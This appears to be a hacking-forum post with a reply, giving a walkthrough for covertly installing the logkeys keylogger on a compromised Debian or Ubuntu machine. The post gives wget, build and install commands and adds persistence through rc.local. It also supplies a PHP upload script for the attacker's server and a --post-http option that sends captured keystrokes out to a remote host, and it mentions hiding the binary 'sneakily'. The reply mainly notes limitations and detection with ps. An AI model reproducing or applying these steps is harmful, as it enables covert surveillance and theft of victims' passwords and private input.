Debian/Ubuntu Keylogger - Cyph3rX - 05-21-2015

This is a simple way of logging keys on a compromised Ubuntu machine (If You Got R00t!)

Download LKL on to the target machine:
Code:

Code:
wget https://logkeys.googlecode.com/files/logkeys-0.1.1a.tar.gz

Unpack the archive:
Code:

Code:
tar -xvzf logkeys-0.1.1a.tar.gz

Cd into the newly created logkeys folder:
Code:

Code:
cd logkeys-0.1.1a

Now let's compile it:
Code:

Code:
./configure; make

If you have root or you have access to sudo install it:
Code:

Code:
make install

You can add logkeys to startup by editing /etc/rc.local or /etc/rc.d/rc.local and adding:
Code:

Code:
logkeys --start --keymap=/home/I/custom_key.map --output=/home/I/custom.log --device=event4

// taken from the wiki you can modify this to your needs, also make sure it's before the final exit 0 call.

You can even have it upload the logs via http, first upload the following to your host:
PHP Code:

PHP Code:
<?php

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
  
  $file = $_FILES['file'];
  
  if ($file['error'] === UPLOAD_ERR_OK) 
    move_uploaded_file($file['tmp_name'], 'new.log');
}

?>

Now add the following to your startup code:
Code:

Code:
--post-http=http://your.doma.in/upload.php --post-size=100kb

If you get build errors ensure build-essential (Ubuntu) or apt-get install g++ (Debian), don't forget to make your logkeys executable if you plant it sneakily in your own special place.

This isn't useful at all unless the box you're putting this on has an actual hardware keyboard connected to it. You can't log strokes over an SSH daemon with this (which is what the majority of linux computers use today, considering they're servers). More than that, I hope anyone smart enough to operate a linux distro is smart enough to not get this installed on their machine.

Also, what's with the title? This works on more than Ubuntu and Debian.

ps aux|grep logkeys # oh god
